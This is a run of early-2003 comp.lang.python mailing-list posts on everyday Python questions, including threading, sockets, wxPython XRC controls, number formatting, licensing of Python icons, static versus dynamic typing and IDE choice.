> On Thu, 16 Jan 2003 10:28:42 +0100, Thomas Weholt wrote:
> 
> > Hm ... I see your point. I began thinking about this when I read some old
> > code where a variable changed datatype during its lifespan inside a function
> > several times. I think it was passed as a string, turned into a int and
> > could be returned from the function as None depending on its content. It was
> > awful.
> 
> So use a different variable for each incarnation.

Indeed. The only justification (thankfully of rare application these
days) that I've found for re-use of variable names, even of the same
type, has been when writing heavily used C code for a register-starved
not-very-orthogonal architecture (e.g. 8086) and a compiler with a
brain-starved register allocator.

> 
> Just wrote this:
> 
> def capit(s):
>   l = s.split("_") # could re-use s here
>   l = [ s.capitalize() for s in l ]
>   return string.join(l,"")
> 
> capit("some_name") returns "SomeName"
> 
> regards,
> Simon Burton.

1. What is the point of reusing variable names when the function could
be a one-liner and still quite legible:

def capit(s):
   return "".join([x.capitalize() for x in s.split("_")])

2. string.join()???? Are you still using Python 1.5???? Update now!!!!

3. Can you see what is wrong with this without feeding it to Python:

  def capit(s):
    l = s.split("_") # could re-use s here
    l = [ s.capitalize() for s in 1 ]
    return string.join(l,"")

4. Have you considered that capit() conflates "fubar", "_fubar",
"__fubar", etc?



From ajs at ix.netcom.com  Sun Jan 19 20:11:39 2003
From: ajs at ix.netcom.com (Arthur)
Date: Sun, 19 Jan 2003 20:11:39 -0500
Subject: license
Message-ID: <000f01c2c020$e39bf310$78d0d23f@Arts>

Tim writes -

>As I said, the PSF license requires that derived works include a brief
>summary of changes made from the base distribution. That, along with
>preserving the PSF licence and copyright notice, is roughly all it
requires.
>There are no restrictions on the nature of changes derived works can make.

There is no notice here of the intention to modify an inplace Python
installation and no notification that it has done so after it has done so.

One is left with a nonstandard installation, without notification of the
fact that is going to happen or that it did in fact happen.

The fact that the non-standard change persists after doing an uninstall, is
fuel to the fire, but not necessarily pertinent to whether there is a
license violation.

I would certainly see no problem arguing that this is indeed a license
violation.

I am curious why Terry is so adamant that it is not. That my suggestion is
even impertinent.

Not that anyone wants to be picayune.  The ugliness is the real point. But
it is,isn't or might be a particular kind of ugliness.

Art







From andrew-pythonlist at puzzling.org  Fri Jan 31 20:09:06 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Sat, 1 Feb 2003 12:09:06 +1100
Subject: Python Threading front end
In-Reply-To: <3bebb915.0301311636.21966519@posting.google.com>
References: <3bebb915.0301311636.21966519@posting.google.com>
Message-ID: <20030201010906.GD16606@frobozz.local>

On Fri, Jan 31, 2003 at 04:36:51PM -0800, AJ wrote:
[..snip..]
> 
> I see that python has no problem running multiple threads as long as
> the threads aren't running python code.  So this is fine- only the UI
> code would be in python.  But, I don't really see how to control a
> C/C++ function that is running in a thread from python.  For example,
> we might want to pause one thread of the simulation, examine its
> intermediate results, and then continue the simulation.
> 
[..snip..]
> 
> Can you "pause" a thread?  

I believe the answer to that is "yes, sometimes, on some platforms".
Probably the only sane way to do that is to make your C++ thread
periodically stop calculating and check for a pause message.  

> Is any of this even worth trying to do?  

Probably, but Python takes a very portable approach to threading -- i.e. it
doesn't attempt to support exciting things like pausing or killing threads
from other threads.  Perhaps one of the many thread abstraction libraries
out there does support all the features and platforms that you want, but I
don't know much about them.

Hope this helps,

-Andrew.





From andy at eastonwest.co.uk  Sun Jan  5 17:34:51 2003
From: andy at eastonwest.co.uk (andy)
Date: Sun, 5 Jan 2003 22:34:51 +0000
Subject: Opinions, please: Repository module
Message-ID: <200301052234.51596.andy@eastonwest.co.uk>

Ok, I know I'm going out on a limb here: forum newbie who no-one knows ;-) ...

I'm working on a little project - for my kids, actually - and I had a need to 
code a module to provide a 'central network place to store miscellaneous 
stuff'.  No security or reliablility assurance is required either.  

I googled for an existing module, but found none simple enough (got lots of 
interesting stuff about distributed processing systems and so on though)...

Initially, I thought "ok, just use a shared directory".  Tried that, but the 
latency was *way* too severe, and unpredictable, even on my little 100mb 
network.

I realised I was going to have to bite the bullet and learn to use sockets.  I 
was off work for the christmas break, 9 days or so, and spent much of this 
time digging, until I was totally googled out.  

After a bit of a tough learning curve (things not working as I expected them 
to etc.) I now have a working 'prototype'.

So, what I want to know is - Is anyone interested in trying it out? I'd like 
some (hopefully constructive) comments, but not really along the lines of 
'you should have used x, y or z library bacause lah lah lah', more on doing 
what I'm doing better.

It uses sockets, and is loosely based on an old chat-server example by J. 
Strout (www.strout.net), so it uses a round-robin approach, with the sockets 
in non-blocking mode.  I specifically wanted to code this myself, pig-headed 
that I am, to learn a bit of the practicalities of socket programming; yes I 
know I could have used SocketServer, Twisted or any number of other modules 
hanging round there in cyberspace.  However, as I said, I wanted to know how 
it worked from the /inside/.

My solution is not that elegant yet (I'm working on that though) but it does 
seem to work ok; it's as fast as I need it and it takes minimal cpu - hardly 
noticeable on my Linux PII/300.

What it does:

Sets up a socket.
Listens on it.
Sets it to non-blocking mode.
Loops forever:
	checks for any new connections;
		stores them in a connection list.
	iterates the connetction list:
		checks for any incoming data on each connection
			processes each request and returns a result

Requests come in as a clear-text dictionary:
	{"request":"...","keys":{"k":v...}}

	These are evaluated (for convenience) by eval().  Yes, I know this is risky,
	but it' easy, ok.

Response returned as the original incoming key with 'comments':
	# successful request
	'{"request":"...","response":"ok","keys":{"k":v...}}  '
	- or -
	# failed request
	'{"request":"...","response":"no","reason":"error string","keys":{"k":v...}}'

So far only two requests are supported:

	"set" - sets key values
	"query" - queries key values

The key values are stored in a dictionary by the server.

I'm going to have to clean the code up a lot before I can post it.  

I just /bet/ someone is going to tell me now that there's already something 
out there which does exactly this :-(

Anyway, anyone interested?

-andyj




From peter at engcorp.com  Tue Jan 21 09:11:53 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 21 Jan 2003 09:11:53 -0500
Subject: translate txt into HTML
References: <18f9f477.0301210606.45d9eaca@posting.google.com>
Message-ID: <3E2D5529.C9CB5479@engcorp.com>

Natacha wrote:
> 
> We have to create a program allowing to go to seek two textual files
> bruts(.txt), but we would like to translate them into HTML.
> 
> we think that a parser should be used, but we do not know how to make!

To help you clarify your requirements, I offer this first version which
meets your requirements as stated.  What aspect of this do you find
insufficient?  If you can explain that, we can help you with a more
suitable solution, perhaps involving the StructuredText concept...

text = open('afile.txt').read()
htmlFile = open('afile.html', 'w')
print >>htmlFile, '<html><head><title>A file</title></head>'
print >>htmlFile, '<body><pre>%s</pre></body></html>' % text
htmlFile.close()

-Peter



From alaxsxaq at hotmail.com  Thu Jan  9 10:08:00 2003
From: alaxsxaq at hotmail.com (John Bernhardt)
Date: Thu, 09 Jan 2003 10:08:00 -0500
Subject: problems installing python 2.2.2 on solaris 8
Message-ID: <pan.2003.01.09.15.08.00.420658@hotmail.com>

I'm trying to get Python 2.2.2 installed on a solaris 8 SPARC system
and have run into a problem that I need some help resolving.  On this
system, I can successfully compile Python and the compiled version
passes all of the tests run by 'make test'.  However, when I do a
make install, there are quite a few modules that do not get copied
into /usr/local/lib/python2.2 including the socket and time modules;
more I'm sure, but my scripts fail on loading smtplib because those
two modules are not installed.

Any clues?



From peter at engcorp.com  Fri Jan 24 16:36:55 2003
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Jan 2003 16:36:55 -0500
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rukc$ukidj$1@hades.rz.uni-sb.de>
Message-ID: <3E31B1F7.7E8C132F@engcorp.com>

Uwe Schmitt wrote:
> 
> Uwe Schmitt <uwe.schmitt at procoders.net> wrote:
> 
> > But what if I want to end a thread which hangs because
> > it uses 'exec' on some code which loops forever ?
> 
> so, what about a new PEP : extend the exec method by limiting
> the execution time and memory usage ...

I'd support a PEP that proposed being able to set a flag in
a thread or in the interpreter so that a SystemExit exception
would be thrown at the very next bytecode instruction that gets
executed.

It's not foolproof, for those attempting to defeat it, and it 
still can't handle threads that are blocked in OS calls, but
it works for many of the cases that people think they want it
for, and it would suit me in all cases that I care about.

-Peter



From max at alcyone.com  Wed Jan 15 00:18:32 2003
From: max at alcyone.com (Erik Max Francis)
Date: Tue, 14 Jan 2003 21:18:32 -0800
Subject: Copyright on the Python and Python-console icons?
References: <mailman.1042606406.22716.python-list@python.org>
Message-ID: <3E24EF28.1DE0986E@alcyone.com>

Tim Peters wrote:

> The question is why Mike should be more afraid of getting sued by the
> PSF
> than you are?  The PSF also holds the copyright on the files he's
> asking
> about, and Mike has the same license *from* the PSF to use them as you
> have.
> Now anyone at all can sue Mike for anything at all, but since the PSF
> holds
> the copyright on those files, only the PSF has legal standing to sue
> him for
> copyright violation.  Telling him he should be afraid of that remains,
> in my
> eyes, bizarre.  That doesn't mean he won't be sued <wink>.

You keep emphasizing the word _afraid_, which I never used.  I never
told him he should be _afraid_ of getting sued.  I simply said that the
safest course of action -- as it is in any legal situation -- is to get
explicit permission in the form of a piece of paper with a signature on
it.

He asked for information about the legality of using certain copyrighted
materials, and was met with an ambiguous response -- a response which
disclaimed its own legal applicability.  At this point it's only
sensible to secure explicit permission or not bother; it sounded, after
all, like using these materials was not crucial to his project anyway.

You're the one trying to inflate this into a huge issue; I simply gave
him standard, reasonable advice on the use of copyrighted mateirals.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Principles have no real force except when one is well fed.
\__/ Mark Twain
    The laws list / http://www.alcyone.com/max/physics/laws/
 Laws, rules, principles, effects, paradoxes, etc. in physics.



From shagshag13 at yahoo.fr  Mon Jan 13 04:30:45 2003
From: shagshag13 at yahoo.fr (shagshag13)
Date: Mon, 13 Jan 2003 10:30:45 +0100
Subject: is it possible with python ?
Message-ID: <avu0ro$j25rt$1@ID-146704.news.dfncis.de>

hello,

i would like to add a new tab in properties available when right click on a
file on a windows platform (in fact this would be a simple md5 computation
of that file). Does python can help me with that ? does anyone has links on
how to do that with python ?

thanks,

s13.





From w3c at hot.ee  Sun Jan 26 12:00:06 2003
From: w3c at hot.ee (Andrei S.)
Date: Sun, 26 Jan 2003 19:00:06 +0200
Subject: wxPython problems (XRC problems)
Message-ID: <3e34145b_1@news.estpak.ee>

Hi,

I've met wxPython for GUI applications programming and just loved it. 
Especially for the XRC feature.

The bad thing is that there is no API docs specially for wxPython (not 
wxWindows), I have found so far. I understand, that wxPython is just a 
binding for wxWindows, but I need the Python-specific docs...

So, I've got the problem that I can't solve with docs reading...
The problem is the following.

I'm making a simple test application, with different controls to test, 
especially such as buttons, text inputs, wxCalendarCtrl and others. I 
want to have this all in the dynamically loaded XML resource file (XRC). 
The GUI is edited through the XRCed app, shipped with the wxPython package.

I have the following widget structure:

*--------------------------------------------------*

wxFrame "main_frame"
|	
|-wxNoteBook
	|
	|_...
	   |
	   |-wxButton "button_select_date"

wxDialog "select_date_dialog"
|
|-wxBoxSizer
	|
	|-wxStaticBoxSizer
	|	|
	|	|-wxCalendarCtrl
	|
	|-wxBoxSizer
		|
		|-wxButton "sdate_ok_button"
		|-wxButton "sdate_cancel_button"

*--------------------------------------------------*

(Spacers and some others are omitted here).


I'm initialising the dialog with wxCalendarCtrl widget by writing the 
following code in InitSelDate(self) function of class MyApp(wxApp):

*-- python code --*

self.date_dialog 	= self.res.LoadDialog(self.frame, "select_date_dialog")
self.calendar_ctrl	= XRCCTRL(self.date_dialog, "calendar_ctrl")

EVT_BUTTON(self, XRCID("sdate_button_ok"), self.OnSelectDateOK)
EVT_BUTTON(self, XRCID("sdate_button_cancel"), self.OnSelectDateCancel)

*-- python code --*


Then I call this function from OnInit method and from OnSelectDate 
method with "if not self.date_dialog" predicate.


Then I get the following when running the program:

self.date_value.SetValue(self.calendar_ctrl.GetDate())
AttributeError: wxControlPtr instance has no attribute 'GetDate'

So it seems like XRCCTRL(self.date_dialog, "calendar_ctrl") makes a 
wxControlPtr object but not wxCalendarCtrlPtr... Any tips on making it 
return wxCalendarCtrlPtr objects?

Ok, I remove this line. It runs successfully, but the "sdate_button_ok" 
and "sdate_button_cancel" seem like don't have an event boundary, I 
mean, when I click the button, program never calls the *OnSelectDateOK* 
and *OnSelectDateCancel* event handling methods...

Are there any wxPython users in here that could help me solve these 
problems?

-- 
Andrei Sosnin
http://zzx.ath.cx

  <!-- : it all depends on your vision : -->




From andrew at indranet.co.nz  Sat Jan 18 04:07:16 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Sat, 18 Jan 2003 22:07:16 +1300
Subject: python compiler (psyco)
In-Reply-To: <20030118025248.11673.00000075@mb-ce.aol.com>
References: <mailman.1042690025.16695.python-list@python.org>
 <20030118025248.11673.00000075@mb-ce.aol.com>
Message-ID: <1687940000.1042880836@localhost.localdomain>

You need the C compiler your python was built with.  If you're on linux 
it's easy, install the gcc and python-*-devel* packages.  On Windows, that 
will be in the docs for your python, or you may be able to find a 
precompiled psyco for your version.

Andrew

--On Saturday, January 18, 2003 07:52:48 +0000 CIouded 0ne 
<ciouded0ne at aol.com> wrote:

> i couldnt get the compiler to be installed right i tryed running the
> python interpreter and typing
>
>
> python setup.py install
>
>
> like it saids to do in the readme but that didnt work but i think it said
> to do it in a C compiler which i have but im not sure how u do that in a
> C compiler? any help?
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From wyojustin at hotmail.com  Sat Jan  4 20:31:15 2003
From: wyojustin at hotmail.com (Justin Shaw)
Date: Sat, 4 Jan 2003 20:31:15 -0500
Subject: Number format...
References: <892f1vc2o4fbfd023ottrjepv8344hpc9q@4ax.com>
Message-ID: <vtudnY5WYbV5F4qjXTWcqQ@comcast.com>

"Afanasiy" <abelikov72 at hotmail.com> wrote in message
news:892f1vc2o4fbfd023ottrjepv8344hpc9q at 4ax.com...
> What do I need to do to convert .1352345 to '0.14' ?
>
> >>> repr(round(.1352345,2))
> '0.14000000000000001'

Try this.
>>> print '%.2f' % .1352345
0.14

Justin





From mwh at python.net  Wed Jan 15 11:51:50 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 15 Jan 2003 16:51:50 GMT
Subject: python compiler package questions
References: <69413f9.0301080545.612e42f7@posting.google.com> <avhjrp$33t$0@216.39.172.122>
Message-ID: <7h38yxmqrsp.fsf@pc150.maths.bris.ac.uk>

bokr at oz.net (Bengt Richter) writes:

> >If it IS a bug, will this be fixed in 2.3? Should I "officially"
> >report it?
> >
> It looks to me like a bug.

Yup.  Someone stick it on sf, will they?  (unless they already have)

Cheers,
M.

-- 
  I'm sorry, was my bias showing again? :-)
                                      -- William Tanksley, 13 May 2000



From heiland at ncsa.uiuc.edu  Wed Jan 22 12:32:27 2003
From: heiland at ncsa.uiuc.edu (Randy Heiland)
Date: Wed, 22 Jan 2003 11:32:27 -0600
Subject: r_exec vs. exec + globals
Message-ID: <3E2ED5AB.79CC61FE@ncsa.uiuc.edu>

What's the RExec analog to doing   exec(stmt,globals())  ?  Or is it
even possible to modify globals() when using RExec?

thanks,
Randy




From peter at engcorp.com  Mon Jan  6 14:17:36 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 06 Jan 2003 14:17:36 -0500
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com> <3E197F7C.D4549EC5@engcorp.com> <v1jd1o8pjuho28@corp.supernews.com>
Message-ID: <3E19D650.340B6036@engcorp.com>

Greg Brunet wrote:
> 
> "Peter Hansen" <peter at engcorp.com> wrote in message
> news:3E197F7C.D4549EC5 at engcorp.com...
> > Greg Brunet wrote:
> > >
> > > - VB.NET (as well as C##) are/can be very strongly statically
> typed -
> > > even more so than VB6.  I'm still trying to determine if I like a
> > > strongly _dynamically_ typed language like Python.  I'm having a
> hard
> > > time understanding why it's not better to know at compile time that
> > > ['foo' + 5] is an exception.  If I have to wait until runtime, then
> I
> > > would think that I need to be writing LOTS more error checking code
> at
> > > all my function entry points, whereas with strong static typing, I
> can
> > > catch all this at compile time.
> >
> > While the specific example you quote, where two statically defined
> > *constants* are being added, *could* be caught by the compiler,
> > it's pretty rare to be doing that anyway.  More likely you would
> > be doing something like ['foo' + bar] where bar is bound to the 5.
> > That would not be catchable until runtime, by definition.
> 
> Actually, it is catchable at compile time with a statically typed
> lanugage.

Ummm... obviously.  I meant it *could* be catchable even with Python
if the compiler were changed.  

-Peter



From andy at eastonwest.co.uk  Sat Jan  4 09:12:25 2003
From: andy at eastonwest.co.uk (andy)
Date: Sat, 4 Jan 2003 14:12:25 +0000
Subject: new years resolutions
Message-ID: <200301041412.25527.andy@eastonwest.co.uk>

Sorry for the duplication - I'm kinda new at this mailing list, and fired the 
response off to Peter, rather than the mailing list.  Doh!

----------------------------8<------------------------------------

Peter,

I agree with what you said - I wasn't actually taking a particular stance,
just throwing my bit in.  To be quite honest, I am rather undecided!

As for TeX, well, I just know of it's existence, and I couldn't identify a
line of it if I saw one.  Probably a bad example, but that's why I said was
would you *compare* TeX and HTML?  I definately wasn't pontificating on the
completeness or otherwise of TeX.

On a purely personal level, I *feel* that programming, to me, is solving a
problem by the use of a computer-programming language.  To me, HTML coding
doesn't *feel* like that, but maybe that's because I'm not very *good* at
it...  I think its because of the lack of control structures (I am trying to
self-analyse to figure out what I mean)... having said that, I suppose
tables, for instance resemble control structures...

I've had much more difficulties getting HTML to do what I want than getting a
more "traditional" language to, however.  That's probably why it feels that
way for me.  I have friends who *are* good at HTML, and I suppose they feel
that it *is* for the same reasons.

Control structures are not it, either, as early stored-program computers,
 such as ENIAC and Colossus didn't have much (if any) in the way of control
 structures - they were mainly top-down.

Furthermore, when I did a short stint with Toshiba, in one of their TV
factories (in my youth) I had to use a component auto-insertion machine which
we had to 'program' with paper tapes.  The programs were positioning
information and little more than that!  Hmmm.  A guy used to use a special
machine to produce the tapes by positioning the insertion head at each
component position and then hitting buttons.  A few extra bytes would be
added to the tape each time.  Considering the force of the machines involved,
a 'bug' in the program would cause a quite literal 'crash' - complete with
flying circuit fragments!

Here's another one: Printer control languages, i.e. Epson ESC codes, HP PCL,
HP HPGL.  BTW PostScript aka Forth is DEFINATELY excluded from this (It *IS*
Turing-Complete). How would you classify them?  They all operate in roughly
the same way as HTML: They have codes (tags) identified by a symbol (often
ESC/chr 27), some of them are paired and some can be nested within others.
Most don't have a /structure/ per se, i.e. you can put things in any order
that suits you.  How do these differ, if at all, from HTML and, indeed
Python?

On an even more esoteric level, what about the art of the Magician? Ok, no
formal written language (that I know of anyway!), but there seems to be a
prescribed set of 'moves', 'primitives', if you will, and once a sequence is
performed correctly, the desired effect (the illusion) is achieved.  There is
definate structure, and a degree of formality to it.  There are just no
computers involved - yet! Could a formal "programming" language be defined to
describe this art?

I still maintain that it is a matter of perspective: If someone *feels* a
 task is programming, it probably is.  I'm not even sure if it has to involve
 computers...  Maybe its more about simply getting a machine to do what you
 want?

Could get really silly here: driving, cooking (with a microwave at least) and
so on!

regards,

-andyj

-------------------------------------------------------





From mis6 at pitt.edu  Wed Jan  8 08:10:04 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 8 Jan 2003 05:10:04 -0800
Subject: no side effects
Message-ID: <2259b0e2.0301080510.3b2e5d4f@posting.google.com>

I was surprised by the following code:

>>> for i in [1,2,3]:
...     print i,
...     i=3

I would have expected only 1 to be printed, but instead Python
continues the loop without noticing that the value of i has
changed. IOW, no side effect.
I am not against that (I am even in favor), but it fooled my 
intuition coming from other languages.
Maybe others will appreciate that.

Cheers,

--
Michele Simionato - Dept. of Physics and Astronomy
210 Allen Hall Pittsburgh PA 15260 U.S.A.
Phone: 001-412-624-9041 Fax: 001-412-624-9163
Home-page: http://www.phyast.pitt.edu/~micheles/



From davegaramond at icqmail.com  Sun Jan 26 23:47:31 2003
From: davegaramond at icqmail.com (David Garamond)
Date: Sun, 26 Jan 2003 21:47:31 -0700
Subject: extending objects (object-specific subclassing)
References: <mailman.1043501925.18338.python-list@python.org> <13a533e8.0301251345.4118ad15@posting.google.com> <13a533e8.0301261355.1348d644@posting.google.com>
Message-ID: <3E34B9E3.9010004@icqmail.com>

Peter Abel wrote:
> Forget, what I wrote here.
> Python made me believe it would work.

yes, i once did that too :-)

> It will only override an object-method with
> a function. But from this function you can't
> access to object's attributes.
> Now I understand the difference for myself.
> 
> For correct information see thread: 
> "Replacing methods without subclassing"
> at comp.lang.python.

thanks for the tip, peter.

-- 
dave






From gerhard.haering at opus-gmbh.net  Fri Jan 24 06:01:19 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 24 Jan 2003 11:01:19 GMT
Subject: Best SMTP/POP library?
References: <FEyX9.1$0L3.488@news2.news.adelphia.net> <mailman.1043252741.1779.python-list@python.org> <LtEX9.134$0L3.63489@news2.news.adelphia.net> <mailman.1043290900.16874.python-list@python.org> <JhMX9.441$0L3.173271@news2.news.adelphia.net> <mailman.1043344317.16508.python-list@python.org> <KAWX9.529$0L3.274661@news2.news.adelphia.net>
Message-ID: <slrnb3276j.ok.gerhard.haering@haering.opus-gmbh.net>

Robert Oschler <robert at fake_email_address.net> wrote:
> "Laura Creighton" <lac at strakt.com>:
>> >
>> So could I prevail on you to change your mail address to something that
>> is more obviously not worth sending a reply to?
> 
> Good point. This is a test of new reply address.

Please use the (noexistant) .invalid top-level domain instead. It's meant for,
well, invalid domain names, just like .test is meant for DNS test setups :-)
This way, any reply bounces at the first relay if somebody replies. Some
MUAs/NRs even warn you if .invalid is the TLD.

I'd suggest you use something like:

    no.direct.replies at please.invalid

Gerhard
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From bbull at pathfire.com  Tue Jan 14 12:51:34 2003
From: bbull at pathfire.com (Brian Bull)
Date: Tue, 14 Jan 2003 12:51:34 -0500
Subject: Check for file access
Message-ID: <2AB39DC75CB1D5119A4700B0D0218A051A92E7@rswms02.vninet.com>

Thanks!!! That worked.  Below is my code where self.item is the file I am
waiting on:
----------------------
complete = 0
while(complete != 1):
	command = "/sbin/fuser " + self.item
          status = commands.getoutput(command)
          if(status):
          	self.logMessage("file not complete yet")
                   complete = 0
                   time.sleep(5)
	else:
          	self.logMessage("file complete")
                   complete = 1

----------------------

-----Original Message-----
From: Andrew McGregor [mailto:andrew at indranet.co.nz]
Sent: Tuesday, January 14, 2003 12:42 PM
To: Brian Bull; python-list at python.org
Subject: Re: Check for file access


--On Tuesday, January 14, 2003 06:56:29 -0800 Brian Bull 
<bbull at pathfire.com> wrote:

> I am writing a daemon to monitor file uploads and mirror the files to
> another server once they have been uploaded.  The files will be
> uploaded via Windows filesharing onto my Redhat server that is running
> Samba.  How can I tell when the file is complete and is ready for
> copying?
>
> I am using a kernel module called 'changedfiles' that alerts me when a
> file is changed.  The only problem is this modules alerts me when the
> file operation begins, not when it ends.  The files that will be
> uploaded are CD images so they will be very large, so I have to have
> some sort of way to "wait" until the file is complete.
>
> I have tried opening the file (with read and write permission), but
> that cancels the upload process.  I guess Windows loses the access to
> the file once the server grabs it.
>
> I have also tried checking the size of the file, but that doesn't work
> because the complete size is reported from the first second the file
> is being uploaded.
>
> Any help here would be really appreciated.  If I am not describing
> this well, let me know and I will try to elaborate more.
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>

Wait until the fuser command (not python function, system command) no 
longer shows any task using that file.  The technique it uses is 
complicated (and brute force), so replicating it in python would be quite a 
bit of work.

Andrew




From phr-n2003b at NOSPAMnightsong.com  Thu Jan 23 17:33:32 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 23 Jan 2003 14:33:32 -0800
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <mailman.1043359063.30364.python-list@python.org>
Message-ID: <7xfzrj1ooz.fsf@ruckus.brouhaha.com>

Ian Bicking <ianb at colorstudy.com> writes:
> So, in conclusion, PHP is very expedient, and if you are making
> applications where expedience is important, then PHP probably will work
> well for you.  If you are making larger more powerful applications where
> design really matters, then Python has some benefits over PHP.  And they
> are big benefits -- PHP as a language is horrible, horrible, horrible. 
> And it's not even a matter of compromises -- PHP doesn't *have* to be
> that horrible, most of its flaws aren't tied to its conveniences.  It
> just chooses to be horrible.

I don't find PHP to be horrible.  It's just kind of limited.



From max at alcyone.com  Mon Jan 13 00:13:01 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 12 Jan 2003 21:13:01 -0800
Subject: Seeking Minimal Python Project Name (was: [pypy-dev] Re: [ann] 
 Minimal Python project)
References: <7x8yxqduco.fsf@ruckus.brouhaha.com> <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com> <5.0.2.1.1.20030112185911.00a7a6d0@mail.oz.net> <mailman.1042427842.32098.python-list@python.org> <7xk7h9hddg.fsf@ruckus.brouhaha.com> <7xr8bhu0es.fsf@ruckus.brouhaha.com>
Message-ID: <3E224ADD.9D246F6D@alcyone.com>

Paul Rubin wrote:

> Another name I've liked is "Piton", sort of an Alpinist, high-altitude
> version of Python.

To be completely ridiculous, name it Pitono, the Esperanto word for
_python_.  Or Pitoneto, if you want to emphasize its smallness :-).

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ All the gods are dead except the god of war.
\__/ Leroy Eldridge Cleaver
    Bosskey.net: Aliens vs. Predator 2 / http://www.bosskey.net/avp2/
 A personal guide to Aliens vs. Predator 2.



From peter at engcorp.com  Wed Jan  8 09:25:20 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 08 Jan 2003 09:25:20 -0500
Subject: Python vs .Net
References: <PxQR9.45$uS3.4626462@mantis.golden.net> <v1i5tsger4jv81@corp.supernews.com> <3E197F7C.D4549EC5@engcorp.com> <v1jd1o8pjuho28@corp.supernews.com> <3E1A3F8B.8D4BAD96@engcorp.com> <v1nlne1bvl7r30@corp.supernews.com>
Message-ID: <3E1C34D0.ECFBC7BF@engcorp.com>

Greg Brunet wrote:
> 
> Static
> typing is just another tool to help the development process, and even if
> proper testing reduces the advantages of static typing by 50 or 75%,
> I'll still take whatever extra advantages I can get when I write code.

Not to beat a dead horse, but what if the advantages were reduced by,
say, 98%.  Given the loss in productivity involved with all those extra
keystrokes for the static typing information for the compiler, you 
might reach a point where it is *less* effective overall to have the
static typing in place.  :-)

That is how I feel, at any rate, having spent many many years writing
code with static type checking available (C, C++, Delphi and Java).

-Peter



From lac at strakt.com  Sat Jan 25 21:48:52 2003
From: lac at strakt.com (Laura Creighton)
Date: Sun, 26 Jan 2003 03:48:52 +0100
Subject: Python newbie looking into communications... 
In-Reply-To: Message from Sam Marrocco <samSPAMMENOT@twmi.rr.com> 
   of "Sun, 26 Jan 2003 02:31:00 GMT." <ELHY9.123260$GF.30808722@twister.columbus.rr.com> 
References: <ELHY9.123260$GF.30808722@twister.columbus.rr.com> 
Message-ID: <200301260248.h0Q2mqjL004446@ratthing-b246.strakt.com>

> I'm looking into writing a small application that can run on multiple 
> platforms (linux, windows, irix) that needs simple communications with a 
> Visual Basic.Net application. I'm writing both apps, and the main app 
> *must* be vb.net.
> 
> I'd like the little Python apps that run on several machines to be able 
> to communicate back and forth with the main vb.net app using (possibly) 
> udp communications. I don't want the extra headaches involved in 
> maintaining open connections (TCP)...something along the lines of:
> 
> SendData(MachineName,Data)
> 
> Since I'm a newbie to Python, any tips/directions I should look into? 
> I'm still exploring language possibilities, and Python's interests me 
> the most so far....portability is important.
> 
> Any help greatly appreciated!
> -- 
> ==================================================================
> Sam J. Marrocco
> Sr. Visual Effects Artist/R&D
> Travelling Pictures/GTN
> Inferno, Flame, Houdini, Maya, All that cool stuff!
> "The fact that no one understands you doesn't make you an artist."
> ==================================================================
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

Boy, dod you pick the right time to ask this question.  There is
a related thread about this right now.

Start here:
http://mail.python.org/pipermail/python-list/2003-January/141379.html

short version -- you really don't want to use UDP.

Laura Creighton 

ps if what you are looking for is an asynchronous framework, check out
Twisted www.twistedmatrix.com.  Actually check it out anyway just for
fun.




From nospam at bigfoot.com  Wed Jan 22 08:26:10 2003
From: nospam at bigfoot.com (Gillou)
Date: Wed, 22 Jan 2003 14:26:10 +0100
Subject: Commercial IDEs: is it worth it?
References: <4ZuX9.13933$CG6.239986@news4.e.nsc.no>
Message-ID: <b0m5b9$3151$1@norfair.nerim.net>

"Thomas Weholt" <2002 at weholt.org> a ?crit dans le message de news:
4ZuX9.13933$CG6.239986 at news4.e.nsc.no...
> Hi,
>
> I've used Emacs for python-development and been happy so far. But I miss
> auto-completion, integrated, more visual debugging etc. I also have som

Auto completion -> Alt+/

> problems with code developed earlier on windows using PythonWin and tab as
> indention instead of spaces. Some way of removing the extra
> linefeed-characters added under windows, converting tabs to spaces etc.

There are tools in the standard distro to "spacify" tab indented python
code, and changing the end of line from/to Windows/Unix.
Can't understand cause I can edit and run python script coming from Windows
without any problem.

> would also be nice. PythonWin has a feature that can be helpful in these
> cases; it can show indention-markers. In the future I'll probably develop
> som GUI-based applications too, using for instance wxPython. Emacs doesn't
> have any special support for this as far as I know.

You can have a look to the latest Boa-constructor (search from www.sf.net)
that is a Python IDE with wxPython GUI tool and Zope support.

>
> I was wondering; are there any commercial IDEs out there that really beats
> Emacs? Looked at WingIDE and it looks nice, but $149 for the standard
> version??!!!

Make your own opinion with the time you think you'll win with a commercial
IDE against a free IDE like PythonWin.
